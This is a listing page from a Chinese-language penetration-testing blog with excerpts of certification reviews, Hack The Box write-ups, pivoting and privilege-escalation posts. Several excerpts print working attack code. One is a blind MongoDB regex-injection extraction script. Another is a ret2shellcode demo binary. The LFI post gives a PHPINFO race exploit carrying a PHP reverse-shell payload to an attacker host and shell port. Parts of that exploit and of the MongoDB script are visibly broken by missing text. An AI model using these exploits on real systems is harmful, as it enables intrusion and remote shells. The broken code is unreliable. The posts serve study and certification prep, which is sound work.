手把手教學的 Active Directory 資安證照:CRTP

我在今年七月時,報名了 CRTP 的證照,CRTP 的課程,全名 Attacking & Defending Active Directory Lab。 它的特色主要在於,所有題目都是 Windows 最新版本 Windows Server 2022 且 Windows Defender 全開的機器,Lab 以及考試的內容都圍繞在 Windows AD 之中。 它的 Lab 宗旨主要是對於 Windows 中,無法透過 Patch 修復的一些 Misconfiguration,相較於 OSCP 常見的打 CVE,方向不太一樣。另外就是,這張證照完全不需要使用到任何的 Linux 機器,例如 Kali。它的起步點預設於我們已經拿到一台 Domain Joined 的 Windows,並以那台 Windows 電腦作為起跑點,進行橫向移動,拿到 Domain Admin。 其實這張證照我在今年初就有打算想要報,不過後來看到了一些相關的通知,說 Pentester Academy 在 2023 年初將不再提供 CRTP 的證照。好在後來這張證照改由 Altered Security 繼續推出,看起來像是這堂課的講師 Nikhil 自己出來自立門戶,開了一間公司。 在今年七月初,當完了研發替代役的兵之後,距離公司的下一個大 Project 開始之間,有差不多一個禮拜的空擋,因此我就花了一週的時間把 Lab 全部刷完了 XD。 報名 CRTP 現在的報名頁面是以下網址:https://www.alteredsecurity.com/adlab 我覺得網站非常簡陋,看起來也很像釣魚網站,目前它有三種不同的方案,分別是 30 天 249 鎂;60天 379 鎂以及 90 天 499 鎂。 ...

2023-09-25 · 3 分鐘 · steven

如果我說 OSWE 很好考會不會有人想打我

前陣子報名了 OSWE / AWAE 的課程,在空閒的時間學習,終於在一個半月的時間內考到了 OSWE 證照,趁還沒有忘記之前來寫一下心得文。 前言 我覺得要提到資安證照,不得不提到 Paul Jerimy Media 上的 Security Certification Roadmap。 以目前 2022 年 8 月最新版,該列表上的資安證照總共有 460 張,目前我持有的基本上都偏向右邊的 Security Operations 部分。 包含了本次的 OSWE、OSCP 以及不予置評的 LPT 及 CPENT,ㄏㄏ。 正常來說在這張表上,越上面的代表專業程度越高,也越難。但有許多證照雖然在同樣的領域,因為考試方向不同,如大多數都是選擇題或暴力破解之類的 (我就不說是哪張了 ……),所以我認為難度也僅供參考,不建議拿來做直接的比較。 目前以紅隊、滲透檢測相關的入門證照,大家最推的通常都是 OSCP, OSCP 在 Offensive Security 中,課程代號為 PEN-200,屬於 200 系列的課程。 OSWE 則是 WEB-300,屬於更高階的課,以同一間公司而言,理論上也會更困難一點? 我個人的背景是,去年年底取得 OSCP 證照;而大學及研究所時期都有玩過一些 CTF,雖然 CTF 的各領域都有基本的涉略,但最熟悉的方向是以 Web 網頁安全為主。 AWAE 課程內容 這邊由於課程規定的部分,我不方便說明太多,不過可以依照官網有提供的內容來進行介紹。 Cross-Origin Resource Sharing (CORS) with CSRF and RCE JavaScript Prototype Pollution Advanced Server Side Request Forgery Web security tools and methodologies Source code analysis Persistent cross-site scripting Session hijacking .NET deserialization Remote code execution Blind SQL injections Data exfiltration Bypassing file upload restrictions and file extension filters PHP type juggling with loose comparisons PostgreSQL Extension and User Defined Functions Bypassing REGEX restrictions Magic hashes Bypassing character restrictions UDF reverse shells PostgreSQL large objects DOM-based cross site scripting (black box) Server side template injection Weak random token generation XML external entity injection RCE via database functions OS command injection via WebSockets (black box) 其實從這邊的項目可以看出來,對於一個常打 CTF 的 Web 🐱 而言,這些問題應該都不陌生,而且我個人認為都偏比較老的洞,並沒有那麼現代 CTF 那些噁心的東西,當然想要用各種噁心的手法,如遇到 LFI 使用 Session Upload Progress 來解應該還是可行。 ...

2022-11-27 · 4 分鐘 · steven

MongoDB noSQLInjection with Binary Search

MongoDB 上面的 Injection 通常都可以直接使用 [$ne] 來做萬用解,但如果我們的目標不只是登入,而是想要 query 到指定目標的話,參考 HackTricks 可以看出。在 Blind 的情境底下,可以透過 regex 的方法來進行解答。 不過 HackTricks 或是 PayloadsAllTheThings 中,使用的方法通常都是直接對 strings 進行爆破。 這會出現耗時,以及遇到 Regex 保留字時的問題。因此,我透過 regex 的 unicode 功能,寫了一款類似於傳統 SQL injection 中,透過 Binary Search 的方法來取得密碼,廢話不多說,直接上 Code。 使用上來看,只需要變更 query 函數中的條件,即可。 import requests import urllib.parse def query(q): res = requests.get(r"http://127.0.0.1:8791/?user=admin&pass[$regex]=" + q) if "Success" in res.text: return True else: return False def binary_search(left, right, query_s, query_f, v=1): while right - left > 3: # 4: guess = int(left+(right-left)/2) old_left = left left = guess command = urllib.parse.quote(r"^.{%s}[\x{%s}-\x{%s}].{%s}" % (index, f"{hex(int(left))[2:]:0>4}", f"{hex(int(right))[2:]:0>4}", length-index-1)) if query(command): left = guess else: right = guess left = old_left print(f"{left} ~ {right}" , end="\r") for i in range(left,right+1): command = urllib.parse.quote(r"^.{%s}[\x{%s}].{%s}" % (index, f"{hex(int(i))[2:]:0>4}", length-index-1)) # print(command) if query(command): print(f"[!] Answer: {i} ({chr(i)})") return i length = get_len() print(f"String Length = {length}") r = [] for i in range(length): r.append(chr(binary_search_content(index=i,length=length))) print(''.join(r))

2022-11-15 · 1 分鐘 · steven

Arkham (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/179 先講結論,這是我最近打過 HTB 最硬的一題 …… ,這絕對不是 Medium 的機器,他難度絕對絕對有 Hard。我覺得這一題對於初學者,甚至是剛拿到 OSCP 的人應該都會覺得打得很痛苦 QWQ 這一題題目包含的知識點: LUKS 解密 Tomcat Config 解析 HMAC 簽章 DES 加解密 Java Viewstate 反序列化 Bypass Windows Defender Microsoft Outlook email folder (ost) 解析 Base64 圖片還原 Invoke-command 切換使用者 Bypass CLM CMSTP UAC Bypass SMB 有開 SMB 所以先匿名登上去 ~/HTB/Arkham/new ᐅ smbclient.py 10.129.106.199 Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation Type help for list of commands # login meow Password: [*] GUEST Session Granted 發現可以存取 BatShare,裡面有一個 appserver.zip,載下來分析 ...

2022-10-15 · 15 分鐘 · steven

Json.Net Unserialize (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/210 這篇文會從黑箱跟白箱兩個角度來試著了解漏洞的成因與 Exploit 方法,省略一些掃描的過程,直接進入滲透步驟。 Black Box http://10.129.227.191/login.html 是一個登入介面,透過弱密碼 admin / admin 可以進入後台。 觀察登入狀態,可以看出我們是 Post 一個 Json 來進行登入,而登入後會幫我們 Set 一組 Cookie,從 Response 的 Header 可以看出這是一個 IIS 的 Server。 這邊可以猜測說,登入後他應該會把 Json 解析或反序列化到某個物件之中,那我們可以試著看看,如果我們給他一個壞掉的 Json 會發生什麼事,例如下圖給他一個最後缺少 " 的 Json,發現他會噴錯。 at DemoApp.Data.UsuariosData.GetMd5Hash(String input) at DemoApp.Data.UsuariosData.Autenticar(String usuario, String password) at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24 at lambda_method(Closure , Object , Object[] ) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.b__2(Object instance, Object[] methodParameters) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken) --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ApiControllerActionInvoker.d__1.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ActionFilterResult.d__5.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Dispatcher.HttpControllerDispatcher.d__15.MoveNext()"% 然而,這些錯誤並沒有太大的幫助 QQ,接下來我們觀察正確的登入後,他吐出來的餅乾是啥。很直覺可以知道他是一個 base64 ...

2022-10-11 · 5 分鐘 · steven

深度解析 CPENT 考試心得、以及與 OSCP 的比較

前陣子參加了恆逸的活動,擁有 OSCP 證照者免費上 CPENT 課程,以及考照的活動,很高興的,我順利的考取到了 CPENT 以及 LPT 的證照。 先在前面跟恆逸的所有工作人員說聲感謝,也跟 Vicent 老師說聲謝謝。 本篇文會介紹整體 CPENT 課程教材、考試內容、準備方式以及其與 OSCP 的比較。 這些心得部分都以我個人的主觀感受為主,僅供參考,而考試、課程內容也僅代表 2022 年 5 月底至 6 月初的狀況,可能會與未來有所差異。 在考試前我有試著在網路上查詢過 CPENT 相關的考試資料,發現中文資料除了恆逸的業配文之外,沒有看到以較客觀角度來評論這張證照的文章。僅有此 YouTube 影片有提到考試的大致內容 [輕鬆系列] 兩場連續12小時不間斷資安考試,到底資安證照EC-Council CPENT 在考甚麼?!! 因此本文會在不侵犯版權與洩密的前題下,介紹該證照與課程的詳細內容,供準備考試的朋友們進行參考。 課程教材 報名考試後,熱心的恆逸工作人員就寄了一本紙本的教材給我,這本紙本教材約有 1600 頁,內文主要是官方授課的投影片,較少文字敘述,且因為黑白列印的關係,許多原本黑底綠字的 Command Line 截圖都是看不清楚的 QQ。 不過該份教材有提供了電子檔,需要透過特有的專屬軟體開啟,裡面的畫面就清楚了很多。 相比於 OSCP 約 1000 頁的教材,我認為 CPENT 的教材相對而言比較淺而廣。 教材涵蓋內容 CPENT 的官方教材總共有 14 個章節與 12 個附錄,章節內容如以下: PT 概論 PT 的範圍與規範 OSINT 社交工程 網路 PT - 外部 網路 PT - 內部 網路 PT - 外圍設備 Web PT 無線網路 PT IoT PT OT 及 SCADA PT 雲端 PT Binary 分析以及 Pwn 報告撰寫 附錄內容 ...

2022-06-10 · 6 分鐘 · steven

Double & Triple Pivoting and Proxychains using Chisel

最近遇到了一個非常極端的情境,需要在內網跳三層的 Tunneling, 而且這些機器們都沒有 SSH,這篇文會分享一下如何運用 Chisel 來跳多層的 Pivot。 雖然目前的 Cobalt Strike 以及 Meterpreter 都有相應的功能,不過本篇文章我希望使用最傳統,最基本的小工具來完成這個情境。 情境介紹 我們的網路架構如上圖,我們在 Attacker 的機器,而我們需要攻擊的機器分別在不同的網段中,且互相摸不到對方。有三個目標: 要能讓 Server A, B 及 C 摸到我們 Attacker:8000 身上的 Python HTTP Server 要能在 Attacker 端,接收到 A, B 上面的 Reverse Shell 要能透過 Proxychains 在 Attacker 上摸到、掃 Server A, B, C, D 的 TCP Port 我已經預先在 Server A, B 及 C 上擺放好了一句話的 Web Shell 方便操作 ) 想要自己建立 Lab 的話,可以參考以下的 Github 連結: Triple-Pivoting-Lab 重點主要就是這個 Docker Compose 檔案,我們可以把每一顆 Container 都當作一台 Server 來完成以下的實驗。 ...

2022-05-26 · 6 分鐘 · steven

Remote binary tunneling & Buffer overflow using pwntools

前陣子因緣際會下,遇到了某個情境,是在一個斷網的環境底下需要透過打 Pwn 的方式來進行提權。 這個環境的情境大概是,一個 Binary 具有 SUID 權限可以 Pwn。 但另外一個條件是,機器上面不能開 Port 出來,我也不可能幫對方的機器裝 Pwntools,身為一個 Pwntools 的愛用者,我決定使用邪門歪道把程式給跑起來,接下來進行 Pwn 的動作。 這邊的範例,我使用到今年初,我在台科大資工系講課時的教材,使用 Ubuntu 18.04 的環境打 64 bit 的 Return to Shellcode 的情境。 但這篇文的主旨不在 Exploit 這隻 Binary 的過程,而是如何透過 Tunneling 的方式把 Binary 帶到外面來打。因此我直接附上 Binary Source Code 以及 Exploit Code。 // gcc -no-pie -fno-stack-protector -z execstack ret2sc2.c -o ret2sc2 #include #include char name[100]; int main(){ printf("What's your name : "); scanf("%s",name); char comment[500]; printf("What's your comment : "); scanf("%s",comment); return 0; } 這邊我關閉了 PIE、Canary 以及 NX 保護,作為最簡單的 Demo 使用, Exploit Code 則使用 pwntools 來寫,非常簡單,就只是蓋 Return Address 並塞下 Shell Code 而已,而我的 Shell Code 是抄網路上的,就只是一個 setuid(0) 以及 execve(/bin/sh)。 ...

2022-05-24 · 2 分鐘 · steven

How I found CVE-2022-22973 VMWare Workspace ONE Privilege Escalation

VMWare Security advisories:https://www.vmware.com/security/advisories/VMSA-2022-0014.html 這個漏洞其實是在一個因緣際會下發現的,當初我在研究 CVE-2022-22954,一個 VMware Workspace ONE Access Freemarker 的 SSTI to RCE 漏洞。 後來剛好跟朋友借到一台有洞的 Server 來測試 Exploit,就順利的 RCE 了,接下來,我接回了 Reverse Shell 想試著觀察 Server 內部的檔案結構跟原始碼,發現了當前使用者是 horizon。 Service 使用較低權限的使用者來執行,可以保障系統的安全。 當然,入侵的駭客也會嘗試透過各種方式來試著進行提權到 ROOT, 這次使用到的技巧完全是我今年 4/13 在台科資安社有提到的,他的構成其實非常簡單。 這個梗也常常出現在 Hack The Box 或 Try Hack Me,應該是 Easy 等級的題目,不過在 Real World 出現真的是滿神奇的事情。 提權不外乎, Kernel Exploit (Binary) 系列,或是 Misconfiguration,本次這個漏洞就只是一個程式開發時的小小設定錯誤。 當拿到一台 Linux 的低權限 Shell ,通常我的起手是會先 whoami,觀察使用者名稱;接下來會試著使用 sudo -l 觀察使用者有沒有機會透過 sudo 來搞事。 接下來就發現了一個酷東東,也就是最下面一行的 /opt/vmware/certproxy/bin/certproxyService.sh horizon 使用者可以使用 sudo 執行該 Script,並且不需要輸入密碼,而另外一個重點是,觀察這個 Script 會發現檔案權限的設定有問題,這個檔案的所屬擁有者就是我們自己 (horizon),因此我們可以任意竄改裡面的檔案內容。 ...

2022-05-19 · 1 分鐘 · steven

Advanced Local File Inclusion to RCE in 2022

蛤,都 2022 年了,還有人不知道 LFI 基本上就 = RCE ㄇ? 還有人 LFI 只會寫 log、努力找上傳檔案的點再來 Include ㄇ?覺得 LFI 就只能 Base64 看看源碼ㄇ? 這篇文整理了一下最近幾年來比較實用的一些 LFI 技巧,透過無腦的貼 POC 就可以快速的 Get Shell。以下我使用 PHP 8.1 apache 做為實驗環境,測試了幾種常見的 RFI to RCE 技巧,理論上在大多數的 PHP 7 底下,預設環境中,不用修改任何的 config 都可以適用。 Environment Setup docker-compose.yml version: "3.7" services: webserver: image: php:8.1-apache volumes: - ./web:/var/www/html web/index.php &1'"); ?>'''.format(tag=tag,shell_host=shell_host,shell_port=shell_port) UPLOAD="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {} -----------------------------7dbff1ded0714--\r""".format(PAYLOAD) padding="A" * 5000 ## PHPinfo path INFOREQ="""POST {phpinfo}?a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {len}\r Host: %s\r \r {upload}""".format(phpinfo=PHPinfo_File,padding=padding, len=len(UPLOAD), upload=UPLOAD) # LFI Path LFIREQ="GET " + LFI_File + """%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ class PHPINFO_LFI(): def __init__(self, host, port): self.host = host self.port = int(port) self.req_payload= (INFOREQ % self.host).encode('utf-8') self.lfireq = LFIREQ self.offset = self.get_offfset() def get_offfset(self): ''' 获取tmp名字的offset ''' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.host, self.port)) s.send(self.req_payload) page = b"" while True: i = s.recv(4096) page+=i if i == "": break if i.decode('utf8').endswith("0\r\n\r\n"): break s.close() pos = page.decode('utf8').find("[tmp_name] => ") print('get the offset :{} '.format(pos)) if pos == -1: raise ValueError("No php tmp_name in phpinfo output") return pos+256 #多加一些字节 def phpinfo_lfi(self): ''' 同时发送phpinfo请求与lfi请求 ''' phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo.connect((self.host, self.port)) lfi.connect((self.host, self.port)) phpinfo.send(self.req_payload) infopage = b"" while len(infopage) ") tmpname = infopage[pos+17:pos+31] lfireq = self.lfireq % (tmpname.decode('utf8'),self.host) lfi.send(lfireq.encode('utf8')) fipage = lfi.recv(4096) phpinfo.close() lfi.close() if fipage.decode('utf8').find(tag) != -1: return tmpname if __name__ == '__main__': print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts)) p = PHPINFO_LFI(host,port) for i in range(int(attempts)): print('Trying {}/{} times…'.format(i, attempts), end="\r") if p.phpinfo_lfi() is not None: print("Success!!") exit() print(':( Failed') Session Upload Progress session.upload_progress Session Upload Progress 是目前我最愛用的方法,沒有之一。 ...

2022-05-07 · 4 分鐘 · steven